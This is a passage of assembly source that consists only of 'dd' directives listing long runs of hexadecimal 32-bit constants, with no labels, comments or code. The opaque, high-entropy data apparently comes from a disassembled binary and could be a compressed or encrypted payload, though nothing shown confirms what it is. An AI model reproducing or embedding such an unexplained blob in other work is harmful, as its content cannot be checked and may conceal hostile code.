		dd 3434BF3h, 8F09AF68h,	0FE88ADD8h, 0ABAA460Fh,	0E800F37Fh
		dd 1967B738h, 98C20342h, 75494856h, 881345FBh, 0F200FF27h
		dd 1F6AC1BCh, 0BED50261h, 7DB6A224h, 1A49D848h,	21FB8700h
		dd 0EBFA0B83h, 95B70079h, 74E61E88h, 0CE004F9Eh, 0A389896h
		dd 0C9B03C16h, 0CB008738h, 0C0FB9E8Bh, 4C70BB60h, 60562Dh
		dd 8238D2ACh, 7B535CCEh, 3BE43316h, 0A800F912h,	7A4932F0h
		dd 3F2FED1h, 0A8BF7175h, 28A07D73h, 0E49E4D8Fh,	80AD370Fh
		dd 11E418E0h, 51B1CFB9h, 0E27FD2C3h, 0E1B8D0F4h, 0DC005471h
		dd 0A1D80296h, 0B3C487h, 33B8C3FCh, 6D750709h, 5817F01Dh
		dd 0D7F85980h, 63513793h, 0F179682Eh, 9D45AD99h, 244A7B60h
		dd 2300A84Fh, 0A03C6B03h, 89972DB3h, 38F40C80h,	8098920Ch
		dd 0D6FFE626h, 5182941Ch, 0E88D081Ch, 440ED4h, 58C00690h
		dd 307FA3F4h, 8D006873h, 8ADA27C2h, 139B6739h, 62C47Ch
		dd 0C71DD550h, 98B8B84Ah, 54AC39h, 89F19136h, 760EFEh
		dd 4FD81980h, 0EFA5582Fh, 0B100937Eh, 798EE73Ch, 78A08B2h
		dd 2FD0EE0Ah, 5ECF082h,	762E1639h, 0C131D6B8h, 70644EE1h
		dd 0F68F0053h, 0E9AF1A46h, 1900A5CEh, 3FFF4F1Fh, 64067Fh
		dd 6B189956h, 60CA7D96h, 82CCFC00h, 4ADE301Fh, 0B9FA19h
		dd 0A421A9F2h, 0A53D2DEAh, 0C58EA314h, 0C90B0EACh, 0AB838062h
		dd 90CCF031h, 0E9CC9884h, 6DD160h, 6AFE07DDh, 4C76011h
		dd 7F87E603h, 0B8CE3DDCh, 554C29Bh, 6EC4F23Fh, 88A278h
		dd 1AFB81ECh, 78F68261h, 0A440EF2Bh, 1D4857A9h,	80178FD7h
		dd 0C213C0F4h, 47731623h, 0C6192900h, 4BE4626Eh, 0AFDB008Dh
		dd 7186C794h, 3C00B844h, 377DA34Ch, 0B5D41Fh, 81917826h
		dd 8D2E6CE6h, 51CE358h,	6359ADBh, 0FF224FC0h, 0BD392557h
		dd 0C4C7009Dh, 93B44098h, 500F046h, 0E8A445E1h,	7DFEED77h
		dd 66301247h, 0BE3C6013h, 9B0026BFh, 99D09885h,	0D84B5Ch
		dd 0B168E54Eh, 0A15FC4E8h, 9F891700h, 0A254D711h, 2F911EF3h
		dd 0F2C5C9BEh, 3A220803h, 0A63EE7D8h, 5CCD3300h, 92EE042Fh
		dd 28B00043h, 0A24DBF02h, 9A03AD60h, 7E19DC9h, 56A8B089h
		dd 0CCA30993h, 0DA0082E0h, 8FEEE4ABh, 0DD00D3B0h, 0B71BEF10h
		dd 7E3E814h, 837523FAh,	0D38F4041h, 483E40EDh, 8EF8B88h
		dd 792C0316h, 68F19A82h
		dd 5A29404h, 0B802469Bh, 307CD05Ch, 64016B1Ah, 0AB5A2404h
		dd 2868ED22h, 0D479350Eh, 0F52B0E60h, 8A092E55h, 2F4AEB7Dh
		dd 0C21583C0h, 94A0B45Eh, 0B08327B4h, 251E9003h, 93B175E0h
		dd 9FEF5F00h, 0DCF3A103h, 0FDA70042h, 0AB98FA4Ch, 0C6005B6Eh
		dd 2156BD22h, 0D75E0Ah,	0A66ADF0Fh, 51FDE58Bh, 5F419A16h
		dd 766A84Bh, 8349DFF8h,	917538h, 0F335ED8h, 0A57087Dh
		dd 1BF6FF00h, 0CFAB995Bh, 781216D8h, 93B81F50h,	0C2F8006Ch
		dd 778BBA55h, 7E79E805h, 1897AC14h, 1A57B750h, 9CBFC58h
		dd 436971A1h, 0AB650400h, 5D07F905h, 77B0F057h,	0E3D84600h
		dd 366100E1h, 90745935h, 80008127h, 0EFFA32D4h,	0E4A35CCFh
		dd 0C064027Ch, 0F37E760Dh, 51152440h, 53856518h, 203E311h
		dd 20B4971Fh, 4C6040FAh, 409A1E35h, 0ECAC5E26h,	7E0EDA84h
		dd 808734C0h, 0E81F10AAh, 70BD017Ch, 0DDF2F9D6h, 985EB200h
		dd 823B7E0Bh, 1684006Bh, 2C010E03h, 9618CE28h, 974400Fh
		dd 38B98DABh, 0DC62DF00h, 8A2B56C9h, 235B00DAh,	1E789EE3h
		dd 281D0984h, 0B28005FCh, 44247A75h, 0EA7D0030h, 292F9650h
		dd 0EE017922h, 0C68D34A3h, 8C608919h, 1F876A1h,	324738A9h
		dd 0F0096C16h, 824F5DF6h, 0F467D000h, 3952E359h, 0F986EE7Ch
		dd 114B2D25h, 7E47A300h, 0BB8E0B4Eh, 73447EC0h,	6703066Eh
		dd 0E0BCC1F2h, 0DE92C306h, 11631Bh, 93C42E36h, 28DAACDDh
		dd 580ED378h, 445180h, 6BB362AEh, 78CE00ECh, 307EDB0Bh
		dd 7C0EE4B6h, 0A1BAC392h, 0AE8A6032h, 0D37292h,	36B93A8h
		dd 709E7B8Dh, 2F099E80h, 76FD99C5h, 6BDC000Ah, 32C8F2D9h
		dd 9C282BD7h, 9A00F7A3h, 0B671DE45h, 7D9640A6h,	645B3CEDh
		dd 6001D301h, 289D6B6Ah, 660E0004h, 226590DCh, 9AAE0949h
		dd 9C645B0Fh, 81D0CF39h, 19909B44h, 56E04331h, 0D77300F0h
		dd 34E26CEFh, 4AE048BEh, 62F4D214h, 80223D88h, 0A7D1D3B3h
		dd 33840C5h, 0CE7C5BB1h, 809CF00Bh, 0EF49C44h, 0DA61CB00h
		dd 1DD0BF97h, 172890DCh, 0C0D9BD6Dh, 8D3AA555h,	24741424h
		dd 9D28CD81h, 688057D6h, 0C1764D04h, 0BAF2163Fh, 7844DC00h
		dd 0B3490896h, 33753A31h, 4C99EC00h, 529842F5h,	628E6606h
		dd 2F489C6Dh, 70803CC7h, 0C17AB75Ch, 5D079BFCh,	10EE973Ah
		dd 771FB030h, 12110036h, 757447D2h, 4C12B713h, 0C380D0BBh
		dd 240877B1h, 398B241h,	67977B37h, 0B0A7A0C8h, 0EFD58200h
		dd 3F31442h, 0B829128Ch, 9B080012h, 0BF09857h, 243B22ECh
		dd 0CB3380F8h, 61DC3695h, 6A940045h, 609FC699h,	6F2C97A5h
		dd 380E074h, 0ABBCD37Ch, 0B9BA0084h, 9E99ADD6h,	8D01A9F5h
		dd 0BBEBF9FAh, 7DF86209h, 0AB9B0043h, 0A74145F3h, 0E1004DD5h
		dd 67F0B5C6h, 12CBAEFDh, 2D12614h, 0D7B7A10h, 0E2617330h
		dd 382E0023h, 0AA7EBABEh, 49758860h, 0A0EA8D27h, 9047806Ch
		dd 0E232009Eh, 49CD5EC9h, 4800E18Dh, 44679585h,	1ADF6Bh
		dd 0FE6EA9A8h, 0F2CDBA4Bh, 0F8BCE127h, 76FC0C3Fh, 0BE21AB23h
		dd 341CB700h, 2EEFBADFh, 36D100D7h, 53BFE6DBh, 0AE01C8FEh
		dd 0C732D52Ch, 872A112h, 45B9E43Ah, 387F5F80h, 24D5F933h
		dd 0C788871h, 7552D900h, 0A3B8980Eh, 0FB0F05E1h, 80B9C19Fh
		dd 6966139Ch, 77020439h, 1D950D04h, 0D0AF52h, 740C241Ch
		dd 30960126h, 0A1CA3C42h, 356D0038h, 6A49A8Fh, 4F88ED98h
		dd 0A6253019h, 18A0806Ah, 741B822Ch, 0FADE7F12h, 54A700C6h
		dd 7A74B653h, 4E0BDF4Dh, 4FB062h, 0E5839C91h, 57890016h
		dd 0AE1BBC97h, 0DEFE20FCh, 0B4009EE4h, 0B7478C4Bh, 6F5752D7h
		dd 3F80817Ah, 9AAA17CAh, 65BAE300h, 79FA9EBEh, 780AEA56h
		dd 0C2903066h, 8C65D211h, 4EEB3900h, 70734638h,	0A12E07C5h
		dd 8012E3E0h, 948BD336h, 0DF3BFE00h, 0DE3D159Bh, 7089E7E7h
		dd 3B821989h, 34706595h, 0FBF1790Ch, 368010h, 0B5668AEAh
		dd 9B6531DAh, 0BD0120B4h, 22D49691h, 48486DF8h,	290180F0h
		dd 79FEDF31h, 0A448A6C9h, 0EC65A501h, 70475552h, 0FE006BD7h
		dd 140EC898h, 8BA713BCh, 0DA730077h, 918D42D2h,	3803AD4Ah
		dd 75A5584Ch, 0C5949992h, 9948ECh, 271F0A0h, 0DD3F10FAh
		dd 0A97BCF1Ch, 0B723FFC0h, 566451h, 0A434B8BAh,	6A3ACD53h
		dd 0C0BDDF03h, 0C057FA04h, 87D968h, 4F90C30Dh, 43AB5F39h
		dd 5E0079B0h, 0E7EF971Eh, 1D596581h, 8EA1AAD0h,	0C39C1FC2h
		dd 26985140h, 83F29CD8h, 15FA7200h, 47E39A5h, 5A361DBFh
		dd 0E1940537h, 1DA8400Ch, 381F24A7h, 0A7976EF8h, 428281ECh
		dd 0DFBE07C1h, 1B091834h, 700FDDE2h, 290832E0h,	9B002C44h
		dd 3B28D8E0h, 95E55Ah, 6D47F610h, 0A5F121B2h, 0A01CCC00h
		dd 507C6170h, 6A423C6Eh, 14111614h, 707044F2h, 0CD0031E6h
		dd 0F79760ECh, 0F379DA55h, 0F119A980h, 0C1B6A088h, 33240948h
		dd 3DC608F9h, 89803A21h, 2B8CD165h, 224888C4h, 0F0AB3178h
		dd 0E9138169h, 54728DA0h, 80432C3Ah, 6129341Eh,	0F77957Fh
		dd 5568508Eh, 1D70FEC0h, 97E67B96h, 4832C030h, 3EA4A757h
		dd 0BD4895B5h, 20889C41h, 5C435550h, 71386018h,	43C5BC79h
		dd 806C9248h, 39549436h, 0B5F23F1Dh, 8E9D51Ah, 1300585Ah
		dd 42975AF9h, 0D47FFBCh, 8A94499Dh, 0D02AC460h,	58913241h
		dd 5AE58006h, 8CEA1C86h, 163144h, 0ABEE5476h, 8020224Ch
		dd 396BD51Eh, 0C5E1E000h, 909526A4h, 9A420388h,	171E387Bh
		dd 0F22735F9h, 8848C880h, 10CF2B76h, 65005C2Ch,	0E6073451h
		dd 3EF00052h, 61683F20h, 4B00C5B4h, 0BFF56EE3h,	0E2E69929h
		dd 7BB100FCh, 0ACC6809Dh, 54007AA1h, 261C4F35h,	1F4A2ACDh
		dd 4FA4F447h, 0FCFB27h,	0DAE839A0h, 6800D99Fh, 7CBD3748h
		dd 38E52620h, 0B90F594Eh, 9140AE89h, 0AB0ECD1Ch, 0F34F5C00h
		dd 740C7618h, 20C00E4Eh, 0B8001412h, 92C80D40h,	0F3AAF100h
		dd 8CD64CF9h, 96E40046h, 79475217h, 3BE2AEE6h, 1C5AF50Eh
		dd 0AB8643B6h, 9B7AB82Ah, 83460356h, 631F8D71h,	0B755201Dh
		dd 4D26D640h, 63D39F87h, 4FF51862h, 200F4100h, 696893D8h
		dd 0EC6C0094h, 0DBE5B4FBh, 80E987E2h, 0E7328F30h, 1E26B32Dh
		dd 80384DABh, 0EE3B4363h, 0B27FE119h, 0A2C2280Eh, 0E310390Ah
		dd 9D1F4881h, 0E01ACE78h, 2830853Bh, 0F3B781D6h, 48A96033h
		dd 0DBC75887h, 7488E30Eh, 4A8E8079h, 3EA9252Ah,	4501DC26h
		dd 0B95570D2h, 82657037h, 169E63Eh, 0FC36F3ACh,	1FF539B6h
		dd 602CBE42h, 74CC832h,	6D9B91E2h, 0B8A10089h, 0E700B0F7h
		dd 463AB382h, 0B2DFBDh,	0D269400Fh, 0CA931A14h,	1873A400h
		dd 3ECD5DDh, 2D291F74h,	7840092h, 0D0E6712Ch, 2873AB05h
		dd 0C02930Bh, 24D11A81h, 0A5A5331Fh, 62331808h,	0C4130321h
		dd 0F9E8AF41h, 8BD50088h, 16B040BAh, 8A44830h, 0F0BF5793h
		dd 975C0621h, 18CB178Eh, 9D07ADFAh, 28DF7CA4h, 1038AF46h
		dd 8002ED39h, 0B2ADB5A1h, 0C3133C97h, 0AE2A7400h, 2D3EFE62h
		dd 9F7091FDh, 0AC106631h, 0F0A8089Eh, 2E9644AFh, 744C0F79h
		dd 52BB01D0h, 0B5AD43A6h, 88359450h, 0D34D02B4h, 16A842ABh
		dd 30D01B00h, 0C717070Fh, 0C885AAAEh, 8AF504A1h, 868822ADh
		dd 18D797E1h, 36127B03h, 0A29DAE3Fh, 2C8C8021h,	0EC4D42h
		dd 0EAAFE1AAh, 513752E7h, 28DD4A7Ch, 1D3007E2h,	0E192EF15h
		dd 0D85E1F7Ah, 50604CCBh, 43B77554h, 0F20C3993h, 9654A983h
		dd 790A0FBh, 8C1F6C64h
		dd 0E80EC39Ch, 0FE710019h, 24B1CF7h, 0D283DFB4h, 46C11504h
		dd 87E6D88Fh, 5E713401h, 5D35C885h, 3BE91ADCh, 5A00D814h
		dd 37677DB4h, 8E00FB3Ch, 43B3228h, 76E8027Ch, 9F6500E0h
		dd 0D0DAE7F8h, 10FE83A1h, 7A168B1Ch, 932F5D80h,	0DE9EFh
		dd 0DCA9BE22h, 4C0974EDh, 9A1BFA00h, 8E695E66h,	78CE1273h
		dd 9A00EEB1h, 8B94936Fh, 1D0600D0h, 84ADA21Ah, 68000583h
		dd 97DA016Bh, 42397Fh, 0BC1CCA71h, 0A4765CFAh, 7B0B6A00h
		dd 95B1B0E9h, 0F10D006Eh, 0FFB53EAEh, 9900D47Ah, 50188D11h
		dd 0E05132h, 0C70C1ECBh, 0C2BF0760h, 0E481F301h, 2A34EDADh
		dd 6F5F2A80h, 57A09F3Ah, 0B03A14E6h, 0E59CD06Eh, 0B71B7E00h
		dd 654799FAh, 5B2E0085h, 42DF8301h, 811772D1h, 52002530h
		dd 32E176F9h, 2680A0A1h, 0C92824C3h, 0C5B0049Ch, 98C5838Ah
		dd 7D8490D4h, 0AD0ED13Bh, 0EACA6C08h, 7601C8C3h, 0D51653ECh
		dd 8E8BCCh, 0E4AF229Ch,	371441Eh, 7D51FF0Fh, 5D2F00A3h
		dd 0B0636Fh, 4B74945Ah,	403C4CCh, 4D91CB0Fh, 2BB4A06Ah
		dd 14175Bh, 0BF1B2D85h,	209BA36Fh, 4635F103h, 0F8CD4E11h
		dd 4922BB62h, 680F746Bh, 0EBE32821h, 48B0CFE0h,	0D603FFB6h
		dd 0E9F04ECDh, 0CEA099D3h, 17E800CBh, 2140789Bh, 90CC434h
		dd 0B1DEC6CCh, 7CF30119h, 78B8A813h, 98688037h,	67E2B985h
		dd 0ED7739B1h, 0DEB5EF00h, 3F358309h, 4D953100h, 0F92660B0h
		dd 0DF2C007Fh, 1A9BF4F7h, 0D30050E5h, 71BBC3F2h, 0EEC4D299h
		dd 30B103CCh, 374707CDh, 12CC83A4h, 0BE2DA9F8h,	0BD2AF801h
		dd 1E3AE9EDh, 50B13420h, 2EE088h, 6FEFB7CDh, 6A8466ECh
		dd 13AD7007h, 0CD0C16Ch, 0FEBD199h, 0C65B2940h,	0C798A820h
		dd 3AC06D03h, 74E54EDCh, 875D0099h, 0D644D404h,	6D5482EEh
		dd 6B7FF8A4h, 0C0F20600h, 0FA67FE3Dh, 0BE8C3B74h, 27A00980h
		dd 9AEE11D8h, 3B07EA1Ch, 63016797h, 0D4E9E62Bh,	4D0B1ED8h
		dd 0C624405Eh, 57530018h, 0F1E01D99h, 4B92F001h, 2901B85Eh
		dd 0C05CB843h, 7EB02384h, 397C1F78h, 72DC076Bh,	9CA4D2B2h
		dd 0C5620441h, 2E42E837h, 0C256B31Fh, 9927CAC1h, 3031AB2Ch
		dd 6A392C8h, 10A62868h,	0C92CE837h, 300123Fh, 0AF859080h
		dd 1E577208h, 809FD635h, 0A1EA06BAh, 280483D5h,	996A37D9h
		dd 41C9890h, 4F5924D3h,	0E6D80020h, 10FA76C7h, 8DB4A700h
		dd 0D5D9772h, 4BF80246h, 0CE529B60h, 0B4F2B494h, 0A50AC700h
		dd 0FAED48B9h, 88AC91B3h, 2E50845Ah, 1EB51809h,	76857848h
		dd 0FB022F00h, 0FCDECD78h, 9C27500Dh, 0BA4C0AFEh, 40905F6Dh
		dd 961C3D9Ch, 9F0B2E05h, 490FC31h, 14AAA56Fh, 0B05DF43Ah
		dd 0D41D2A0Eh, 63C00BFh, 7147100Bh, 0FC83050Eh,	259A0059h
		dd 4DB1E43h, 5E21AFCDh,	37408119h, 0F55C3095h, 0C2628E04h
		dd 0C01EC1h, 3BA311Ah, 0C8E79AFBh, 7800B7D6h, 0A906717Ah
		dd 484E234Ah, 9A48BC9Bh, 5F77A400h, 0CCFCB41Bh,	8303E87Fh
		dd 0E93022F3h, 170CC820h, 5C8071Fh, 0C0479E71h,	1C10BB36h
		dd 2DDD23Eh, 2C83B3A4h,	0AAA18066h, 92D88AEAh, 31B504ECh
		dd 0DCE27CB6h, 68887A60h, 0FFDD0353h, 63E75C28h, 0E4CF90EFh
		dd 0C0A6420Dh, 0FDEA2A00h, 611470Eh, 0F4B8A818h, 74417Ah
		dd 53951DB4h, 2A432E00h, 0C5851255h, 0FC650028h, 9DBAF72Fh
		dd 0BB016906h, 0F6EA383Fh, 44DE61C0h, 0B8490018h, 579A5F98h
		dd 0D4A98E8Fh, 0B012EAAAh, 0A4E13290h, 0F88C70F4h, 0EEFA0063h
		dd 217A4961h, 34EF500Bh, 9105AE74h, 0A7A2FEE2h,	0B86D9400h
		dd 4625A9h, 9FC4D6CBh, 9CE7754Fh, 906398A0h, 68ACF07h
		dd 1A2049C2h, 589A68Bh,	0F245EBCDh, 0E0F00027h,	0A7BB9F5Eh
		dd 224CF70Fh, 501F87C6h, 4464BF52h, 763F7290h, 0D65E00C5h
		dd 0BED15CFBh, 510018B9h, 0F4448FAFh, 0FC1C6D15h, 0CFAD0923h
		dd 5500551Eh, 596ECCE6h, 0A27CE700h, 5C24AC8Eh,	0D5950005h
		dd 0B71F9F7Fh, 9B1F2A4Ch, 57920902h, 6DCC1C80h,	41A304C6h
		dd 80624B89h, 53F0FD47h, 30A75Ch, 7EA4B8BBh, 3D3A1F4h
		dd 65D9E9BCh, 0E5904BD8h, 7400EE18h, 946B6977h,	0A0EF4Fh
		dd 668CAF23h, 0A2BF9A56h, 7BF0DB00h, 36A554E0h,	640907F5h
		dd 8E8A0E32h, 0A400B0F5h, 7C0CB83Ah, 3E009751h,	3CE8EBDEh
		dd 76C329h, 0F72C77A8h,	15BEC903h, 73388F90h, 7295800Eh
		dd 588E39AAh, 8A8700ACh, 7045D043h, 47016365h, 0F1CFE8E1h
		dd 0EAC0F06Ch, 20713B31h, 0A5EBA702h, 0C8527212h, 80B45748h
		dd 0DD6044Fh, 23C30282h, 2D1F7954h, 34493141h, 0CE72EC48h
		dd 0A7EC50F1h, 98003947h, 55C742FCh, 6078B369h,	2C0D5920h
		dd 917CD544h, 4DDD3Ah, 115CBD55h, 9A3B53C2h, 0D73001C4h
		dd 0A8614FEDh, 8808349Eh, 0CA07100h, 0EAF525D2h, 389A5828h
		dd 0F3ABD700h, 430F5223h, 2FE01C00h, 22A70281h,	923B2C9Ah
		dd 0AF8338E4h, 82F155C4h, 212187F5h, 0EC6E710Eh, 161848D4h
		dd 0C5681F15h, 64E09Eh,	0CC0D9242h, 9577A33Ch, 0F2C8148h
		dd 21E8EEAh, 684A65C9h,	2E7F5440h, 70CA09h, 639E121h, 0E40791C7h
		dd 0A507BA0Ah, 0C5984A0h, 749726B0h, 3B79401Ch,	6E58B117h
		dd 0A33AB4h, 2D18D64Dh,	0DC105Dh, 0FE16F77Ch, 747BF2EEh
		dd 3A00CC98h, 4F671E0Dh, 7C714651h, 6CB124C1h, 60D30EE4h
		dd 0EA3E09E0h, 390F309Eh, 36630D7Ah, 0D366B842h, 0D8BAC0A1h
		dd 0F43E00F5h, 0B2DA021Eh, 0AB0514E8h, 78D553Bh, 0A1ACB499h
		dd 7BDAC0CCh, 0A024E78h, 92CB99E8h, 0C060640Eh,	0D2D55878h
		dd 93F4A4A3h, 6123805h,	0B4848202h, 5D1A63C0h, 0EDC6252Fh
		dd 664A9401h, 170676Eh,	0E1022D8Fh, 0F2EC6AE0h,	6D442C32h
		dd 26780038h, 37D3D49Bh, 650140Eh, 91C57FFAh, 2380EA45h
		dd 6EA178h, 0FF9AE6C1h,	5D3DF209h, 1E8C4D50h, 0D6169C1Eh
		dd 0FC8EC185h, 69A954D1h, 9F20ED12h, 0BBAAE5h, 78ADC354h
		dd 22B8D847h, 19379C01h, 0E355751Ch, 834BC040h,	4932F0A3h
		dd 5E0080A0h, 0DE8A35D1h, 74B1823Fh, 0E431CB00h, 171661h
		dd 96B2B003h, 0DA4A4125h, 0EB7074FDh, 9288BB8Ch, 28E41321h
		dd 0B404CF9Ch, 5D0993F0h, 1B3FFCC0h, 520961Dh, 0D31A12h
		dd 1168ABB4h, 450007B3h, 0A5D6B45Ch, 0F015A5Bh,	0F0FC9C86h
		dd 1A512160h, 3D76B8DAh, 249959h, 0D2986D05h, 7A5D1Bh
		dd 0CDDF6B78h, 0E2F8BE87h, 7EFB471Eh, 0F01C3A00h, 90F3FFh
		dd 96E47F28h, 0EE25438Dh, 41805B07h, 0E87327C8h, 21500004h
		dd 0EA89D075h, 1F00AA14h, 1261777Dh, 2A5294Ch, 9CAE1B43h
		dd 968075F4h, 8D3BE319h, 78C15707h, 0FB102593h,	0CAF8474h
		dd 235E2C12h, 0E803CF10h, 0CBD505BEh, 0D00395BFh, 0E7211F14h
		dd 83B143h, 0F123FE39h,	615CEA43h, 0F46AB3Fh, 406222E2h
		dd 60BE1EC3h, 273100F5h, 99DAE65h, 0DC0E74B7h, 20731B57h
		dd 0BDBC3EB8h, 56650091h, 0C8BED6F7h, 583F718Ah, 0B0B48181h
		dd 77A1237Eh, 3778CAh, 3F46AD0Ch, 96B367E4h, 0FCE5F4A0h
		dd 0A218D000h, 0F8C88BAEh, 0A86B006Ah, 40CC0823h, 0DDA0A9B9h
		dd 7600FA81h, 6E364746h, 0AAA0CBh, 63717BF3h, 4B08A9E1h
		dd 8B1EBE00h, 7FDAF2A1h, 89680F54h, 2147AC1Ch, 0B0DD44BFh
		dd 7B03C344h, 0C7A0B1F0h, 2A3AE802h, 0CEFB012Bh, 7A5A8867h
		dd 4DD0FC1Dh, 6EF3E600h, 25EA663Eh, 9058E847h, 1D3B002Ch
		dd 78032BE3h, 6F3010CAh, 727E90A4h, 0E9B90063h,	14572031h
		dd 0E603F4EAh
		dd 50B3D8BCh, 0E797EFC4h, 0D5A026E0h, 55B9004Bh, 81863C1Fh
		dd 4F001A09h, 1404A4ABh, 7BE94034h, 290E00E2h, 0DBC97147h
		dd 9813B056h, 5D47E104h, 0E300B2B9h, 3492616h, 9E36C01Ah
		dd 0CCA07C84h, 6B009578h, 0D96F3EBBh, 7AC922h, 8A50F9C5h
		dd 0EAEF7BC8h, 0CCFA2F14h, 619850F0h, 15E22800h, 68702767h
		dd 333A006Bh, 694D9C6h,	0D409C5F2h, 7185A4h, 43FEA577h
		dd 9A7C1Eh, 69A1BE3Fh, 628CAED5h, 0DE832700h, 0B84F5F13h
		dd 1ED20055h, 0AB4B6FCBh, 0B400C9C6h, 0E8A57F52h, 610B73h
		dd 0F4B13E18h, 90BF1CE0h, 8633BD00h, 8DE6CC52h,	1207E81h
		dd 5765C4F0h, 0CCD378ABh, 0F518C11Eh, 84A06693h, 0CDD6129Ch
		dd 2C6C01F8h, 0D7992E1Ah, 4C6B9780h, 0F5011DFCh, 0D46A685h
		dd 2881EC86h, 14AB51BDh, 2511807Eh, 7190C597h, 77ED0012h
		dd 2D5CA91Bh, 2404393Ch, 80AF70B9h, 7EE12CA0h, 6704009Ah
		dd 0FB3CD928h, 87002125h, 899971BDh, 93A99Fh, 8EEF48EAh
		dd 702CA7Eh, 3ED19500h,	5E84249Eh, 136AE482h, 1EB98362h
		dd 96FCC0EAh, 0C517AB01h, 2685CA00h, 0FBE67B65h, 3873006Eh
		dd 0ED1C1820h, 0F300DC7Ah, 0FEC726A2h, 86D9FFh,	28E4E144h
		dd 0CEA6609Dh, 0CC3DDE02h, 40BCC146h, 7D95B536h, 0B6BD001Ch
		dd 0DFF5A824h, 96002537h, 80448F4h, 5999789h, 29FB286h
		dd 0B9D490CBh, 31007D30h, 28EF59DAh, 1D47DE5Dh,	0C00DA799h
		dd 87B81CEAh, 3548A56Ch, 0A22A0014h, 7E279C59h,	0EA0E90C7h
		dd 3CDC00A8h, 81302F88h, 0D490E155h, 0FA632803h, 0B8530D5Dh
		dd 376CF6Ch, 17C4B152h,	0E097436Dh, 243A05EBh, 10DADD00h
		dd 77201680h, 0C34E00B4h, 7FD67D9Eh, 3E0F2467h,	206A865Eh
		dd 99372673h, 92890042h, 271CAA58h, 9100FECFh, 82B03EA9h
		dd 0BA35CEh, 0C511090Bh, 61EF1005h, 0AC3DDC00h,	4D4A8322h
		dd 3832FC87h, 0F4008002h, 8F84A3E4h, 1D7FBB6Dh,	94DCE805h
		dd 0F0C04E90h, 0D72246h, 44F1D09Ah, 16CBB0A8h, 6F271803h
		dd 0F8039BDCh, 0BBB25D9h, 8BBEE439h, 0E0DF10A0h, 4A046C9Fh
		dd 0ABB6EF62h, 0F96A8880h, 0F8C0001Dh, 0ECCF2DF6h, 0D4EC7DAFh
		dd 771ACE03h, 0F3A96AFAh, 971CF956h, 0FD27E8h, 49DD6645h
		dd 0EDD90AC2h, 0BFCC3E1Dh, 0F6287280h, 0CBD292h, 0E6C3B31Eh
		dd 0EA5E2D2Fh, 68943324h, 575A2181h, 0E83D3088h, 0FD6EDB00h
		dd 0D6AB194Fh, 0EC34D3Bh, 41299A69h, 0B93C27B5h, 4CCCA431h
		dd 7DC9872h, 871119F6h,	0E070108Fh, 0DC001442h,	1BC96017h
		dd 67C02CE4h, 50C1708Ch, 11B70DA6h, 14400C5Eh, 4C03DF0Fh
		dd 1D1A487Bh, 91BFE60Fh, 8F160D80h, 0D9140EC5h,	1C180A10h
		dd 0AF8105h, 88CE8A84h,	0E8BC7872h, 9DE70046h, 0DE712A45h
		dd 80024EAh, 0EED96C7h,	74398807h, 238BA4Bh, 8E2C9836h
		dd 98504355h, 0B337AD98h, 3C07906h, 7B601Bh, 8A135224h
		dd 0DF5C398Dh, 0CE04251Dh, 8F0B1CC0h, 60EE05EDh, 96629103h
		dd 14286588h, 0AD1D5847h, 1BC0095Dh, 11C40102h,	45140039h
		dd 64E9D2DDh, 0AE3B3EA5h, 0F0BE1E6Fh, 3817188Dh, 173BDF0h
		dd 853C5A75h, 0ECC18266h, 38006B35h, 0E316218Dh, 0A33106h
		dd 55D47BEh, 2E521CEFh,	0A53FF73Bh, 0DFF0817Dh,	0FEC41901h
		dd 55980085h, 0FA9AAEAh, 34023718h, 333C3B7Fh, 358CA0D6h
		dd 0B640A6h, 81DE12BAh,	64F406ADh, 0CB005574h, 22C0B75Dh
		dd 2D16C4Dh, 74EA20E0h,	2848B2DEh, 0E50F5732h, 60295BBFh
		dd 87C81770h, 83960468h, 0ABDCAFBAh, 18009AC4h,	0F105881Ah
		dd 23E824DFh, 0F7810B5Dh, 444A30E0h, 0FDF40200h, 162D9064h
		dd 0B78400EFh, 6C7EEDC9h, 0E300D8A3h, 54D0394Eh, 0E012C152h
		dd 1F570364h, 848CE1AAh, 14E1CDBBh, 0C53080D3h,	0CF960438h
		dd 394F0122h, 0EBB360F0h, 0A512CC10h, 137448EEh, 8E21D763h
		dd 8C07EFDCh, 67760E50h, 0A3A60F20h, 0C88384E1h, 5800F7A9h
		dd 39499377h, 0A46838C6h, 0B43C0230h, 0DD9310F7h, 0B8A20716h
		dd 0B023DCB3h, 70F2CE98h, 0CD3AF500h, 4D76B722h, 70646C61h
		dd 9006D031h, 85C81349h, 948209F9h, 440066E3h, 7DEFF06Ah
		dd 0EE60C374h, 0E3BD4421h, 0D48F00C5h, 6C89E0B8h, 0BC605D7Eh
		dd 25BD4259h, 40440266h, 0AA47E949h, 4F09CCC0h,	0FC7020DBh
		dd 9BE35B60h, 0C354CC90h, 0F1888738h, 73E30067h, 971EB82Bh
		dd 0C914CD5Eh, 3994F621h, 3DC183B6h, 0F8A084DFh, 280D7AC2h
		dd 1FECE22Bh, 0EC7DEh, 967BDAA5h, 8A0078C8h, 93752A4h
		dd 87C191h, 715EFE23h, 0A8984BDAh, 0A6DFF601h, 11E48404h
		dd 0F80630h, 972D3A79h,	9A2F37F9h, 0AE1829F0h, 0C1187AEEh
		dd 8DF77h, 18C622E3h, 0C7002873h, 531AB385h, 700C12h, 0A8DC9405h
		dd 25512A2Dh, 0DA7930C0h, 3C29055h, 8E4F6E4Eh, 83459AFh
		dd 6BC06934h, 18229990h, 696FCA09h, 5900C7BDh, 14A31015h
		dd 1E12C492h, 4172ED33h, 0AD9B4223h, 0CA5CE86Ah, 9EEE4F26h
		dd 0D137F704h, 0E033D7C1h, 7A194987h, 69EBF0E6h, 0F81D0E39h
		dd 8A193801h, 0E5E0BA21h, 40AC0068h, 6913FB5Dh,	88003FA5h
		dd 0D05B911Ch, 0A834202Dh, 10E4F828h, 0E0D9EBFEh, 27EADFB8h
		dd 0F5C1AB5Ch, 8E199EE6h, 0D1BE09C3h, 0FA5FA0BAh, 0A508052Ah
		dd 2CC452h, 7E9B7584h, 3B00481Fh, 6570CC4Fh, 9C5ED2h, 0E36C27B1h
		dd 5C5AFEB7h, 72097906h, 43830BAh, 4A51933Ah, 0F3808087h
		dd 0CE527C99h, 0AFA300A4h, 0BD7A9EDh, 78C74C15h, 3B945500h
		dd 9C5F667Ch, 0CA04BB7Bh, 972E5A4Ch, 0DC502684h, 1D923E4h
		dd 4EC15B98h, 88371866h, 900080EFh, 74BEB108h, 498554ACh
		dd 0CC07207Fh, 0A0AE8DE8h, 0BED4C404h, 2C736706h, 0A9DDCAh
		dd 86EA6E15h, 92AF295Ch, 6BC139C6h, 387D0121h, 7478D049h
